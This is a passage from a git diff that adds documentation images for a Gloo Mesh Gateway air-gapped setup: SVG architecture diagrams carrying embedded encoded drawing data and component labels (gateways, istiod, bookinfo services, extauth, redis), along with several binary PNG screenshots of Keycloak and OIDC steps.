a8pcdTAwMTO0XHUwMDE419TcwVx1MDAwNdJcdTAwMWQzUDebvazesFx1MDAwNVx1MDAwNlx1MDAwNMSvXHUwMDE04EG4XHUwMDE18KZcdTAwMGavoydwiZlagFx1MDAxMsZcdTAwMDRON9mTSG2Ead7IXHUwMDA1gFx1MDAwYsX0h0uZXHUwMDE4xaZtXHUwMDAz+lx1MDAwMi6uye3avf6WNIm1XHUwMDAw6LYoZXGuZ5nnp+S0SVx1MDAxMv38eFx1MDAxNJfpkVtcdTAwMGLSXHL1t1ZNxDDr8mhqXHUwMDAxXHUwMDEwoKYtXHUwMDE5/JssO7BcdTAwMDBcdTAwMDdgS1x0+IQog2qVe8BcdTAwMTeAvLIu7lx1MDAwMVxcmGWQuMbASIRw6Vx1MDAwNFxcpCW5qfGpXHUwMDAwXHUwMDEwXHUwMDBi4lBiXHUwMDEwYC1ALPq710+Nnb1dXHR+XHUwMDEyu0jl7uVtXHUwMDAxNS6K+sSuWj6SyWH3pDlQNvmyxklMXHUwMDFkksmZZbQyXGJcdTAwMTU1P2iTvyTUllx1MDAxOe7vlfNEOZMtzsTxOKZ7OMNcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTA